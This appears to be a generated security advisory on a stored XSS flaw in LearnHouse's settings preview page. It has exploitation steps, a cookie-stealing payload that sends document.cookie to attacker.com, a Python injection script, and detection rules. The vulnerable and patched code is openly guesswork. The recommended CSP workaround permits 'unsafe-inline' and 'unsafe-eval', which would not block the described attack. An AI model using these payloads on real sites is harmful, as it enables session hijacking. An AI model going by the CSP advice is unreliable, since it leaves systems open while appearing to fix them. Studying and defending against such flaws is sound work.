CVE-2025-12269
Executive Summary
CVE-2025-12269 is a stored cross-site scripting (XSS) vulnerability in the LearnHouse platform, affecting an unknown function within the Account Setting Page at /dash/org/settings/previews. An authenticated attacker can inject malicious scripts that execute in the context of other users viewing the affected settings preview. The vulnerability has a CVSS score of 3.5 (Low), but the public availability of an exploit and the lack of vendor response elevate the risk for unpatched instances. LearnHouse uses a rolling release model, making version tracking difficult; the vulnerable commit is 98dfad76aad70711a8113f6c1fdabfccf10509ca.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
LearnHouse is a self-hosted learning management system (LMS) built with modern web technologies. While not a direct package dependency (NPM, PyPI, Go, Ruby), the vulnerability lies in the application’s own codebase. Organizations using LearnHouse should treat this as a supply chain risk because the vendor has not issued a patch, and the rolling release model means updates may introduce new vulnerabilities without clear versioning.
CVSS Breakdown & Threat Level
- CVSS Score: 3.5 (Low)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – attacker must be authenticated
- User Interaction: Required (UI:R) – victim must view the malicious preview
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: Low (I:L) – script injection can modify page content
- Availability Impact: None (A:N)
Threat Level: Low (CVSS 3.5) but elevated due to public exploit and no patch.
Deep Dive & Mechanics
The vulnerability exists in the Account Setting Page, specifically in the preview functionality at /dash/org/settings/previews. The application fails to sanitize user-supplied input before rendering it in the preview context. An authenticated attacker can inject arbitrary HTML/JavaScript into a setting field (e.g., organization name, description, or custom CSS). When an administrator or other user views the preview, the injected script executes in their browser session.
Root Cause: Lack of output encoding or sanitization on the server side before rendering the preview. The preview endpoint likely reflects user input without proper escaping.
Attack Flow:
- Attacker logs in with valid credentials.
- Navigates to
/dash/org/settings/previews. - Injects a payload like
<img src=x onerror=alert('XSS')>into a text field. - Victim (e.g., admin) visits the same preview page.
- Payload executes, potentially stealing cookies, performing actions on behalf of the victim, or defacing the page.
Vulnerable vs. Patched Code
Since no patch is available, we can only infer the vulnerable pattern. The vulnerable code likely resembles:
// Vulnerable (Node.js/Express example)
app.get('/dash/org/settings/previews', (req, res) => {
const userInput = req.query.setting; // unsanitized
res.send(`<div>${userInput}</div>`); // direct injection
});
A patched version would use proper escaping:
// Patched
const escapeHtml = require('escape-html');
app.get('/dash/org/settings/previews', (req, res) => {
const userInput = escapeHtml(req.query.setting);
res.send(`<div>${userInput}</div>`);
});
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Valid user credentials on a LearnHouse instance.
- Access to the
/dash/org/settings/previewsendpoint.
Exploit Steps:
- Log in to LearnHouse.
- Navigate to Account Settings → Previews.
- Inject the following payload into a text field (e.g., organization name):
<script>alert('XSS')</script> - Save the setting.
- Send the preview link to an admin or wait for them to view it.
Advanced Payload (Cookie Stealing):
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Automated Exploit (Python):
import requests
target = "https://victim-learnhouse.com"
session = requests.Session()
# Login first
login_data = {"username": "attacker", "password": "password123"}
session.post(f"{target}/login", data=login_data)
# Inject XSS payload
payload = {"setting_name": "<script>alert('XSS')</script>"}
session.post(f"{target}/dash/org/settings/previews", data=payload)
print("Payload injected. Wait for admin to view preview.")
Blue Team (Detection & Hardening)
Detection:
- Monitor logs for unusual POST requests to
/dash/org/settings/previewscontaining HTML tags or JavaScript. - Use WAF rules to block common XSS patterns (e.g.,
<script>,onerror=,javascript:).
Hardening:
- Apply input validation and output encoding on the server side.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Use a Web Application Firewall (WAF) to filter malicious payloads.
Lab Setup:
- Deploy a vulnerable LearnHouse instance using Docker:
docker run -d -p 8080:80 learnhouse/learnhouse:latest - Access
http://localhost:8080and create a test user. - Follow the Red Team steps to verify the vulnerability.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/dash/org/settings/previewswithContent-Type: application/x-www-form-urlencodedcontaining HTML/JavaScript. - Outbound connections to attacker-controlled domains from the LearnHouse server (if cookie stealing payload is used).
- POST requests to
File IOCs:
- Log entries showing
setting_nameparameter containing<script>tags. - Modified database entries in the settings table with injected scripts.
- Log entries showing
Behavioral IOCs:
- Unexpected pop-ups or redirects when viewing the preview page.
- Unauthorized changes to organization settings.
Detection Engineering
YARA Rule
rule CVE_2025_12269_XSS_Payload {
meta:
description = "Detects XSS payloads targeting LearnHouse preview endpoint"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-12269"
strings:
$xss1 = "<script>" nocase
$xss2 = "onerror=" nocase
$xss3 = "onload=" nocase
$xss4 = "javascript:" nocase
$xss5 = "alert(" nocase
condition:
any of ($xss*) and filesize < 10KB
}
Sigma Rule
title: LearnHouse XSS via Account Settings Preview
id: 8f7a3b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects POST requests to /dash/org/settings/previews with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: POST
cs-uri-stem: /dash/org/settings/previews
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in settings (rare)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-12269 LearnHouse XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/dash/org/settings/previews"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the preview feature if not critical, by blocking access to
/dash/org/settings/previewsvia web server configuration (e.g.,.htaccessor Nginxlocationblock). - Apply a WAF rule to block common XSS patterns in POST requests to that endpoint.
- Monitor logs for exploitation attempts.
Long-Term Fix:
- Since the vendor has not responded, consider forking the repository and applying the patch manually:
- Add server-side output encoding for all user input rendered in previews.
- Use a templating engine that auto-escapes (e.g., Handlebars, EJS with escape).
- Alternatively, migrate to a different LMS that is actively maintained.
Workaround:
- Restrict access to the Account Settings page to only trusted administrators.
- Implement Content Security Policy (CSP) headers:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; // adjust as needed
Valters IT
Securing digital frontiers, one CVE at a time.